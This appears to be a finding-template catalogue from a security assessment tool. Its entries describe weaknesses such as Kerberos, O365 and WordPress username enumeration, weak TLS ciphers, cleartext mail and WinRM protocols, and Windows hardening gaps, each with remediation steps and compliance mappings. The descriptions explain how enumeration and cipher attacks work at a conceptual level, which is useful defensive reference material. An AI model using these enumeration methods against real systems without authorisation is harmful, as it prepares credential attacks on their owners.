MEDIUM SS3-075 — Valid Kerberos Usernames Enumerated
Description: Kerbrute or a similar tool enumerated valid Active Directory usernames by sending AS-REQ messages and observing Kerberos error code differences: valid accounts return KRB5KDC_ERR_PREAUTH_REQUIRED (18) or KDC_ERR_CLIENT_REVOKED (12/18) while invalid accounts return KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN (6). This technique does not require any credentials and works even when null sessions are disabled, providing a validated username list for subsequent password spray or brute-force attacks.
Remediation: Enable Kerberos pre-authentication on all accounts to reduce the information disclosed in error responses. Monitor domain controller logs for unusual AS-REQ volume (Event IDs 4768, 4771). Deploy a SIEM alert for repeated KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN errors from a single source IP.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1087.002 (Discovery)
NIST 800-53: AC-3, IA-2, CM-7
PCI DSS 4: 7.2.1, 8.2.1
MEDIUM SS3-081 — WordPress User Enumeration
Description: WPScan successfully enumerated WordPress user accounts via the author archive URL pattern (?author=N) or the REST API endpoint (/wp-json/wp/v2/users). Enumerated usernames can be used directly for targeted brute-force attacks against the WordPress login page or XML-RPC endpoint. WordPress usernames are frequently identical to the account login names, making this information directly actionable for credential attacks.
Remediation: Disable author archive pages or redirect them to prevent user enumeration (add rewrite rules in .htaccess or use a security plugin). Restrict REST API access to authenticated users for the /wp-json/wp/v2/users endpoint. Use login protection plugins to rate-limit brute-force attempts. Disable XML-RPC if not required.
Effort: Medium
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A05:2021
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: SI-2, CM-7, RA-5
PCI DSS 4: 6.3.3, 6.3.2
MEDIUM SS3-090 — Insecure Protocol Detected: HTTP
Description: A web application or service is served over unencrypted HTTP. All data transmitted between the client and server including session cookies, form data, and credentials is transmitted in plaintext and can be intercepted by any network-positioned observer. Without HTTPS, the service is also susceptible to SSL stripping and man-in-the-middle content injection attacks.
Impact: HTTP services transmit all data in plaintext, allowing any attacker with network access to passively intercept credentials, session tokens, API keys, and business data. Active MITM attackers can also inject malicious content, redirect authentication flows, and modify transactions in transit.
Remediation: Migrate the service to HTTPS with a valid TLS certificate. Configure HTTP to HTTPS redirection. Set the Strict-Transport-Security (HSTS) header with a long max-age value. Obtain a certificate from Let's Encrypt (free) or a commercial CA.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-7
PCI DSS 4: 4.2.1, 4.2.2
MEDIUM SS3-093 — SSL/TLS Vulnerability: BEAST
Description: The server is susceptible to the BEAST attack (Browser Exploit Against SSL/TLS, CVE-2011-3389). BEAST exploits a CBC mode initialisation vector (IV) predictability vulnerability in TLS 1.0 and earlier, allowing a man-in-the-middle attacker who can inject chosen plaintext to decrypt CBC-encrypted session data. While the attack requires a network-adjacent attacker and active JavaScript injection in the victim's browser, TLS 1.0 should not be used in modern deployments.
Impact: BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability in TLS 1.0's CBC-mode cipher initialization to decrypt HTTPS cookies and authentication tokens. An attacker with network access can inject chosen plaintext to recover session secrets, enabling session hijacking.
Remediation: Disable TLS 1.0 and SSLv3 entirely. Enable TLS 1.2 and TLS 1.3. Prioritise AEAD cipher suites (AES-GCM, ChaCha20-Poly1305) which are not susceptible to BEAST. Modern TLS 1.2 with RC4 elimination and GCM prioritisation eliminates the BEAST attack surface.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM SS3-094 — SSL/TLS Vulnerability: LUCKY13
Description: The server supports CBC mode cipher suites with HMAC-SHA1 or HMAC-MD5, making it potentially susceptible to the LUCKY13 timing attack (CVE-2013-0169). LUCKY13 is a padding oracle attack against CBC-mode TLS that allows an attacker with precise network timing measurements to decrypt recorded TLS session data. The attack requires approximately 2^23 oracle queries per 16 bytes of plaintext decrypted and is primarily a theoretical concern but indicates use of non-AEAD cipher suites.
Impact: LUCKY13 (CVE-2013-0169) is a timing side-channel attack against CBC-mode cipher suites in TLS. An attacker with network-level access can recover plaintext from encrypted sessions by measuring processing time differences.
Remediation: Prioritise and restrict TLS cipher suites to AEAD algorithms (AES-GCM, ChaCha20-Poly1305) which are immune to CBC padding oracle attacks. Disable all CBC mode cipher suites. Enable TLS 1.3 which exclusively uses AEAD ciphers.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
OWASP API: API8:2023 – Security Misconfiguration
MITRE ATT&CK: T1557 (Collection)
NIST 800-53: SC-8, SC-28, IA-5
PCI DSS 4: 4.2.1
MEDIUM SS3-095 — SSL/TLS Vulnerability: SWEET32
Description: The server supports cipher suites using 64-bit block ciphers (Triple-DES/3DES or Blowfish), making it susceptible to the SWEET32 birthday attack (CVE-2016-2183). After approximately 2^32 blocks (about 32 GB of traffic), an attacker capturing a long-lived TLS session can exploit birthday bound collisions in the CBC mode to recover short, repeated plaintext segments such as HTTP cookies. 3DES-based cipher suites (TLS_RSA_WITH_3DES_EDE_CBC_SHA) should be considered deprecated.
Impact: SWEET32 exploits the birthday bound weakness in 64-bit block ciphers (3DES, Blowfish) used in TLS. After capturing approximately 32GB of ciphertext from a long-lived session, an attacker can recover plaintext blocks, potentially exposing session cookies and authentication tokens.
Remediation: Disable all 64-bit block cipher suites including 3DES (TRIPLE-DES, 3DES-EDE-CBC-SHA) and Blowfish. Ensure the server's cipher list does not include any cipher containing DES or 3DES. Enable only AES-128 and AES-256 based ciphers with GCM mode.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: OWASP-A02:2021
NIST 800-53: SC-8, SC-28
PCI DSS 4: 4.2.1
MEDIUM SS3-096 — SSL/TLS Certificate: Chain Incomplete
Description: The TLS server does not present the full certificate chain during the TLS handshake, omitting one or more intermediate CA certificates. Clients that do not have the intermediate certificate pre-cached will be unable to build a trusted chain to the root CA and will display a certificate error. This indicates a misconfiguration in the server's TLS certificate installation. Some strict clients and mobile browsers do not perform intermediate certificate fetching (AIA chasing) and will fail validation.
Impact: An incomplete certificate chain prevents clients from validating the certificate's trust path. Some clients may reject the connection outright, while others silently proceed without full validation, creating inconsistent security posture across the user base.
Remediation: Reconfigure the TLS server to present the full certificate chain including all required intermediate CA certificates. Obtain the intermediate certificates from the issuing CA and concatenate them with the server certificate in the correct order (leaf first, then intermediates). Verify with: openssl s_client -connect <host>:443 -showcerts.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
MEDIUM SS3-100 — SSL/TLS Certificate: Weak Encryption Method
Description: The TLS certificate uses a weak signature algorithm or public key. This includes SHA-1 signed certificates (deprecated since 2017), RSA keys shorter than 2048 bits, DSA keys shorter than 2048 bits, or Elliptic Curve keys shorter than 224 bits. Certificates signed with SHA-1 are vulnerable to chosen-prefix collision attacks (demonstrated by SHAttered). Certificates with short RSA keys are vulnerable to factorisation attacks given current computational resources.
Impact: Certificates signed with weak algorithms (SHA-1, MD5) are vulnerable to collision attacks that allow an attacker to forge a certificate with the same signature, enabling man-in-the-middle attacks that bypass certificate validation entirely.
Remediation: Replace the certificate with one using SHA-256 (or stronger) as the signature algorithm and at minimum RSA-2048 or ECDSA P-256 for the public key. Verify the replacement certificate: openssl x509 -in cert.pem -text | grep 'Signature Algorithm'.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1552.004 (Credential Access)
NIST 800-53: SC-17, IA-5
PCI DSS 4: 4.2.1
MEDIUM SS3-102 — SSL/TLS Cipher: No Cipher Order Configured
Description: The TLS server does not enforce server-side cipher suite ordering, instead accepting the client's preferred cipher suite. Without server-side cipher preference (SSLHonorCipherOrder), a client can negotiate a weak or deprecated cipher suite even if stronger ciphers are available. This allows a downgrade by a malicious client or a MITM that manipulates ClientHello cipher preferences. Server-side ordering ensures the strongest mutually supported cipher is always selected.
Impact: Without server-enforced cipher order, the client's cipher preference is used, which may select weaker ciphers over stronger alternatives. An attacker can manipulate the client to negotiate weak ciphers through downgrade attacks.
Remediation: Enable server-side cipher suite ordering. On Apache: SSLHonorCipherOrder On. On nginx: ssl_prefer_server_ciphers on. Define a strong cipher list that places AEAD ciphers (ECDHE+AESGCM, ECDHE+CHACHA20) first and excludes weak ciphers entirely.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
MEDIUM SS3-103 — SSL/TLS Ciphers: Obsolete Ciphers
Description: The TLS server supports one or more obsolete cipher suites that have been removed from TLS 1.3 and marked as prohibited or deprecated by RFC 8996 and NIST SP 800-52r2. Obsolete cipher suites include those using NULL encryption, EXPORT key exchange, RC4, MD5 MACs, anonymous DH (aNULL/eNULL), or IDEA. Support for these ciphers indicates the server has not been hardened against known cryptographic attacks and may be negotiating weak encryption with vulnerable or misconfigured clients.
Impact: Obsolete cipher suites such as RC4 and CBC-mode ciphers are vulnerable to known cryptographic attacks including CVE-2013-2566 (RC4 key stream bias) and CVE-2015-2808 (Bar Mitzvah attack). An attacker performing passive traffic capture can recover plaintext from sessions negotiated with these ciphers, compromising the confidentiality of all transmitted data including credentials and session tokens.
Remediation: Audit and update the server's cipher suite configuration. Remove all NULL, EXPORT, RC4, MD5, anon, IDEA, and SEED ciphers. Use a tested cipher string such as the Mozilla TLS configuration generator (ssl-config.mozilla.org) set to 'Intermediate' or 'Modern'. Verify the final cipher list with: openssl s_client -connect <host>:443.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: OWASP-A02:2021
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-28, CM-6
PCI DSS 4: 4.2.1, 2.2.4
MEDIUM SS3-185 — Insecure Protocol Detected: WinRM (Cleartext)
Description: WinRM is running on port 5985 (HTTP) without TLS encryption. Administrative credentials are transmitted in cleartext or weakly encoded over the network.
Impact: An attacker on the network path can intercept WinRM credentials via packet capture, enabling remote command execution on the managed host.
Remediation: Configure WinRM to use HTTPS (port 5986) with a valid TLS certificate. Disable the HTTP listener on port 5985.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-8, SC-8(1)
PCI DSS 4: 4.2.1
MEDIUM SS3-199 — POP3: STARTTLS Not Supported
Description: The POP3 server on port 110 does not advertise STLS capability in its CAPA response, meaning email retrieval credentials are transmitted in cleartext.
Impact: Email credentials transmitted over POP3 without TLS can be intercepted by any attacker on the network path, enabling unauthorized mailbox access.
Remediation: Enable STARTTLS on the POP3 server or migrate to POP3S (port 995). Ensure TLS 1.2+ with strong cipher suites.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-8(1)
PCI DSS 4: 4.2.1
MEDIUM SS3-200 — IMAP: STARTTLS Not Supported
Description: The IMAP server on port 143 does not advertise STARTTLS capability in its CAPABILITY response, meaning email credentials are transmitted in cleartext.
Impact: Email credentials transmitted over IMAP without TLS can be intercepted by any attacker on the network path, enabling unauthorized mailbox and email content access.
Remediation: Enable STARTTLS on the IMAP server or migrate to IMAPS (port 993). Ensure TLS 1.2+ with strong cipher suites.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-8(1)
PCI DSS 4: 4.2.1
MEDIUM SS3-205 — LDAP: Anonymous Enumeration — Users and Groups Discovered
Description: LDAP anonymous bind is permitted and was used to enumerate Active Directory users, groups, and password policies. User/group data was extracted without credentials.
Impact: An attacker obtains a complete user and group listing for targeted attacks: password spraying, social engineering, and identifying privileged accounts. Password policy details inform brute-force strategy.
Remediation: Disable anonymous LDAP binds. Configure the domain controller to require authenticated binds (dsHeuristics). Implement network segmentation to restrict LDAP access to authorized clients.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1087 (Discovery), T1069 (Discovery)
NIST 800-53: AC-14, AC-3
PCI DSS 4: 7.2.1
MEDIUM SS3-209 — Directory Listing Enabled
Description: The web server has directory listing enabled, displaying file names, sizes, and modification dates to anyone who requests a directory without an index file.
Impact: Directory listings allow attackers to discover backup files, configuration files, source code, database dumps, and other sensitive content that would otherwise require blind enumeration.
Remediation: Disable directory listing in the web server configuration. Apache: Options -Indexes. Nginx: autoindex off.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery)
NIST 800-53: CM-7
PCI DSS 4: 2.2.2
MEDIUM SS3-210 — SSL/TLS Certificate: Not Trusted
Description: The SSL/TLS certificate is not trusted by common certificate stores, as reported by testssl.sh. This may indicate a self-signed certificate, an expired certificate, or a certificate from an untrusted CA.
Impact: Untrusted certificates cause browser warnings that users learn to ignore, making them vulnerable to man-in-the-middle attacks. This may also indicate an attacker-controlled certificate or a certificate from a compromised CA.
Remediation: Obtain a certificate from a trusted Certificate Authority. Ensure the full certificate chain is properly configured on the server.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-17
PCI DSS 4: 4.2.1
MEDIUM SS3-210 — SSL/TLS Forward Secrecy: Not Supported
Description: The server does not offer any cipher suites with forward secrecy (ECDHE or DHE key exchange). Without forward secrecy, compromise of the server's private key allows retroactive decryption of all recorded past sessions.
Impact: An attacker who obtains the server's private key (through theft, legal compulsion, or future cryptanalysis) can decrypt all previously captured TLS traffic. Forward secrecy ensures each session uses ephemeral keys that are discarded, making past sessions safe even if the long-term key is compromised.
Remediation: Configure the server to use only cipher suites that provide forward secrecy (ECDHE or DHE key exchange). Disable static RSA key exchange. TLSv1.3 mandates forward secrecy and should be preferred.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2025 Cryptographic Failures
NIST 800-53: SC-8, SC-12
PCI DSS 4: 4.2.1
MEDIUM SS3-212 — SSH Password-Only Authentication (No Public Key)
Description: The SSH server accepts only password-based authentication methods (password and/or keyboard-interactive) with no public key authentication available. This is a significant security weakness — the server cannot accept key-based authentication at all, making brute-force the only barrier to unauthorized access.
Impact: Without public key authentication, the SSH server relies entirely on password strength for security. An attacker can mount online brute-force or credential-stuffing attacks with no cryptographic barrier. The absence of public key support also prevents deployment of certificate-based or hardware-token SSH authentication. This configuration violates CIS Benchmark and DISA STIG requirements for SSH hardening.
Remediation: Enable public key authentication and disable PasswordAuthentication and ChallengeResponseAuthentication in /etc/ssh/sshd_config. Generate and deploy SSH key pairs for all authorized users. CIS Benchmark and DISA STIG both mandate public-key-only SSH login.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access), T1078 (Initial Access)
NIST 800-53: IA-2, IA-5, CM-6
PCI DSS 4: 8.3.1, 2.2.4
MEDIUM SS3-214 — Enumeration: O365 Account Enumeration
Description: Valid O365 user accounts were confirmed via Azure AD authentication endpoint enumeration. The endpoint returns different responses for valid and invalid accounts, allowing an attacker to confirm which email addresses correspond to active accounts.
Impact: Confirmed valid accounts can be targeted with password spray attacks, credential stuffing, phishing campaigns, and social engineering. This significantly reduces the attacker's search space for credential-based attacks.
Remediation: Implement conditional access policies, enforce MFA on all accounts, configure Azure AD Smart Lockout, and disable legacy authentication protocols that bypass MFA. Monitor Azure AD sign-in logs for enumeration patterns.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
MITRE ATT&CK: T1589.002 (Reconnaissance), T1110.003 (Credential Access)
NIST 800-53: AC-2, IA-5
PCI DSS 4: 8.2.1
LOW AETHER-024 — Client Probe Request Harvest — Remembered Network Disclosure
Description: Wireless clients in the vicinity are broadcasting probe requests containing the SSIDs of previously associated networks. This information discloses the wireless networks a device has connected to, can be used for device tracking (even with MAC randomisation if implementation is flawed), and enables targeted KARMA/evil twin attacks against those specific SSIDs.
Remediation: Configure devices to send only directed probe requests to specific APs rather than broadcast probes for all remembered networks. Modern operating systems with MAC randomisation also suppress SSID disclosure in probes — ensure this feature is enabled. Remove outdated or low-trust networks from device preferred network lists.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
LOW AETHER-032 — Wi-Fi Direct / P2P Device Discovered
Description: A Wi-Fi Direct (P2P) capable device was discovered in the assessment area. Wi-Fi Direct devices create their own access point interfaces and may accept WPS-PIN connections independently of the corporate wireless infrastructure, bypassing network access controls and firewall policies. If WPS-PIN is enabled, the device may be vulnerable to the Pixie Dust or online WPS brute-force attacks.
Remediation: Disable Wi-Fi Direct on corporate devices via MDM or Group Policy where the feature is not required. If Wi-Fi Direct is necessary, ensure WPS-PIN is disabled and only WPS-PBC (push button) is permitted. Audit firmware for Wi-Fi Direct devices and apply vendor security updates.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
LOW AETHER-CERT-005 — Server Cert SAN Reveals Internal RADIUS Hostnames
Description: The Subject Alternative Name field of the RADIUS server cert contains hostnames suggesting RADIUS server infrastructure (radius.corp.local, nps01.corp.local, ise-pdp.corp.local). This is information disclosure of internal naming conventions.
Impact: Reveals the internal hostname pattern and number of RADIUS servers in the deployment. Useful reconnaissance for an attacker who later gains internal access and wishes to target the auth infrastructure directly.
Remediation: Move RADIUS servers behind an anonymised public hostname (auth.example.com) for SAN purposes, or omit internal hostnames from the cert SAN when they don't need to be reachable by name.
Effort: Moderate
LOW AETHER-SPLASH-004 — Captive Portal Reveals AP / Vendor Information
Description: HTTP headers of the captive portal redirect or splash page contain identifying information about the AP vendor, firmware version, or Meraki dashboard endpoint. Useful reconnaissance.
Impact: Reveals deployment-specific information that an attacker uses to cross-reference vendor advisories and target known firmware vulnerabilities.
Remediation: Strip vendor and version headers from the splash page's HTTP responses where possible. Use a custom branded splash page that does not reveal the underlying Meraki splash framework.
Effort: Moderate
LOW BA-003 — Disabled Rules Present in Production Configuration
Description: One or more firewall rules are disabled (inactive) in the production configuration. Disabled rules accumulate over time and indicate configuration drift or incomplete cleanup.
Impact: Disabled rules represent policy intent that is no longer enforced. They create confusion during audits, may be re-enabled accidentally, and indicate the policy requires cleanup.
Remediation: 1. Review all disabled rules and determine if they are still required. 2. Remove disabled rules that are no longer needed. 3. Document the reason for any disabled rules that must be retained. 4. Establish a policy lifecycle process to prevent accumulation of disabled rules.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N
LOW BA-006 — Suboptimal Rule Ordering
Description: Frequently-hit rules appear after less-used rules in the policy list. This degrades performance as the firewall must evaluate all preceding rules before reaching the effective rule.
Impact: Increased latency for matching traffic. In high-volume environments, suboptimal ordering can degrade firewall throughput.
Remediation: 1. Place high-volume deny rules (e.g., blocklists) near the top of the policy. 2. Place more specific, lower-volume rules before broad rules. 3. Use hit count data to determine optimal ordering.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
LOW BA-022 — DNS Outbound Not Restricted to Authorised Resolvers
Description: Outbound DNS (UDP/TCP 53) is permitted from any internal host to any external destination, allowing direct DNS resolution to arbitrary external servers.
Impact: Unrestricted outbound DNS enables DNS tunneling for data exfiltration, circumvents DNS-based security controls (sinkholes, RPZ), and allows malware to use any DNS server for C2 communication.
Remediation: 1. Restrict outbound DNS to authorised internal resolvers only. 2. Block direct outbound DNS from all hosts except designated resolvers. 3. Implement DNS logging and monitoring. 4. Deploy DNS filtering (RPZ, DNS firewall) on authorised resolvers.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
NIST 800-53: SC-7
LOW BA-044 — Video Conferencing Ports Unrestricted
Description: Video conferencing service ports (Zoom 8801-8802, Teams 3478-3481, Webex) are permitted from any source without restriction.
Impact: Unrestricted video conferencing ports can be abused for reconnaissance and may expose internal network information through STUN/TURN protocol interactions.
Remediation: 1. Restrict video conferencing traffic to known service provider IP ranges. 2. Use cloud-relay services rather than direct peer connections where possible. 3. Implement application-aware firewall policies for video conferencing.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
NIST 800-53: SC-7
LOW DR-AD-010 — Active Directory: AdminSDHolder Orphaned Accounts
Description: {...} account(s) have AdminCount=1 set but are not current members of any privileged group. These are orphaned AdminSDHolder protections from former privilege.
Impact: Orphaned AdminSDHolder flags indicate accounts that were previously in privileged groups. The AdminCount flag persists after removal, and the AdminSDHolder ACL propagation may have left non-standard permissions. Attackers target these accounts as they may retain residual privileges or weaker ACLs.
Remediation: Clear the AdminCount attribute on accounts no longer in privileged groups. Reset the ACL on these accounts to inherit from the parent OU. Use the AdminSDHolder cleanup script to automate this process. Monitor AdminCount changes with Event ID 5136.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
OWASP Web: A01:2021 - Broken Access Control
NIST 800-53: AC-6
PCI DSS 4: 7.1.1, 7.2.1
LOW DR-AD-013 — Account Management: Stale Domain Accounts
Description: Domain user accounts were found that have not logged in for an extended period (90+ days) and are still enabled. Stale accounts represent dormant attack surface that attackers can target without triggering alerts tied to active users.
Impact: Stale accounts are attractive targets for attackers because their compromise is less likely to be noticed — no legitimate user will report unexpected activity. These accounts may retain their original (potentially weak) passwords, group memberships, and access permissions. If any stale account has privileged access, it presents an unmonitored path to escalation.
Remediation: Implement a regular account review process (at least quarterly). Disable accounts inactive for 90+ days. Delete accounts inactive for 180+ days after confirming they are no longer needed. Automate with PowerShell: Search-ADAccount -AccountInactive -TimeSpan 90.00:00:00 | Disable-ADAccount. Audit disabled accounts for sensitive group memberships before deletion.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.002 (Defense Evasion)
NIST 800-53: AC-2, AC-2(3)
PCI DSS 4: 8.1.4, 8.2.5
LOW DR-HDN-014 — Monitoring: PowerShell Module Logging Disabled
Description: PowerShell module logging is not enabled, which would record pipeline execution details for specified modules.
Impact: Module logging provides a detailed record of which PowerShell cmdlets and functions were invoked. Without it, forensic investigators have reduced visibility into the specific operations performed during an attack.
Remediation: Enable PowerShell module logging via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on Module Logging. Configure the module names to log (use * for all modules).
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: AU-2, AU-12
PCI DSS 4: 10.2.1
LOW DR-HDN-015 — Monitoring: PowerShell Transcription Disabled
Description: PowerShell transcription (recording of all PowerShell input and output to text files) is not enabled.
Impact: Transcription provides a complete record of interactive and scripted PowerShell sessions including output. Without it, defenders lose a valuable forensic data source for investigating PowerShell-based attacks.
Remediation: Enable PowerShell transcription via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Transcription. Configure the output directory to a secured file share for centralized collection. Ensure adequate disk space and proper NTFS permissions on the transcript directory.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A09:2021 - Security Logging and Monitoring Failures
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: AU-2, AU-12
PCI DSS 4: 10.2.1
LOW DR-HDN-030 — System Hardening: .NET Framework v2/v3.5 Installed
Description: .NET Framework version 2.0 or 3.5 is installed on this system. These legacy .NET versions include the CLR v2 runtime which has weaker security controls than CLR v4 and can be leveraged by attackers to bypass application-level security restrictions.
Impact: The .NET CLR v2 runtime can be invoked by PowerShell v2 and other tools to bypass AMSI, script block logging, constrained language mode, and other security controls that are only enforced in CLR v4. Attackers specifically target legacy .NET to downgrade the runtime and evade security monitoring. If .NET 2.0/3.5 is not required by any application, it represents unnecessary attack surface.
Remediation: Remove .NET Framework 3.5 (includes 2.0 and 3.0) if no application requires it: Disable-WindowsOptionalFeature -Online -FeatureName NetFx3. On Server: Remove-WindowsFeature NET-Framework-Core. Before removing, verify no application dependencies by auditing installed software and testing in a pre-production environment.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
OWASP Web: A06:2021 - Vulnerable and Outdated Components
MITRE ATT&CK: T1059.001 (Execution)
NIST 800-53: CM-7, SI-3
PCI DSS 4: 2.2.4
LOW DR-HDN-033 — Endpoint Protection: Controlled Folder Access Not Enabled
Description: Windows Defender Controlled Folder Access is not enabled. This feature protects designated folders (Documents, Desktop, Pictures, etc.) from unauthorized modification by untrusted applications, serving as anti-ransomware protection.
Impact: Without Controlled Folder Access, ransomware and destructive malware can freely encrypt or delete files in user profile folders and other protected locations. CFA provides a last line of defense against ransomware by blocking unauthorized write operations, even from elevated processes, unless the application is explicitly whitelisted.
Remediation: Enable Controlled Folder Access via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Microsoft Defender Exploit Guard > Controlled Folder Access > Configure Controlled folder access = Enabled (Block mode). Alternatively: Set-MpPreference -EnableControlledFolderAccess Enabled. Whitelist legitimate applications that need write access to protected folders.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1486 (Impact)
NIST 800-53: SI-3, CP-9
PCI DSS 4: 5.2.1
LOW DR-HDN-034 — Endpoint Protection: Network Protection Not Enabled
Description: Windows Defender Network Protection is not enabled. Network Protection extends SmartScreen capabilities to block outbound connections to low-reputation or malicious domains and IP addresses, protecting against phishing, exploit hosting sites, and command-and-control infrastructure.
Impact: Without Network Protection, the system can establish connections to known-malicious domains, phishing sites, and C2 infrastructure without being blocked. This feature provides network-layer defense against web-based threats and can prevent initial access (drive-by downloads, phishing), malware download, and C2 communication.
Remediation: Enable Network Protection via Group Policy: Computer Configuration > Administrative Templates > Windows Components > Microsoft Defender Antivirus > Microsoft Defender Exploit Guard > Network Protection > Prevent users and apps from accessing dangerous websites = Enabled (Block mode). Alternatively: Set-MpPreference -EnableNetworkProtection Enabled. Start in audit mode to identify false positives before enforcing.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
OWASP Web: A05:2021 - Security Misconfiguration
MITRE ATT&CK: T1071 (Command and Control)
NIST 800-53: SI-3, SI-4, SC-7
PCI DSS 4: 5.2.1, 1.4.2
LOW DR-SFT-007 — Service Hardening: Unnecessary Services Running
Description: Unnecessary or legacy services are actively running. While individually low-risk, each running service expands the system's attack surface.
Impact: Legacy services like SSDP, UPnP, Computer Browser, and Telephony are rarely needed on servers and can be exploited for reconnaissance, denial of service, or as pivot points in chained attacks.
Remediation: Review each identified service and disable any that are not required for the system's operational role. Set unnecessary services to Disabled startup type.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L
NIST 800-53: CM-7
PCI DSS 4: 2.2.4
LOW DR-SYS-005 — Patch Management: System Uptime Exceeds 90 Days
Description: The system has been running for over 90 days without a reboot, which may indicate that kernel-level patches requiring a restart have not been applied.
Impact: Many Windows security updates require a system restart to take effect. Extended uptime suggests these updates have been downloaded but not fully installed, leaving kernel-level vulnerabilities unpatched.
Remediation: Schedule a maintenance window to restart the system and apply any pending updates that require a reboot. Establish a regular reboot schedule aligned with the organization's patch management cycle, typically monthly following Patch Tuesday.
Effort: Easy
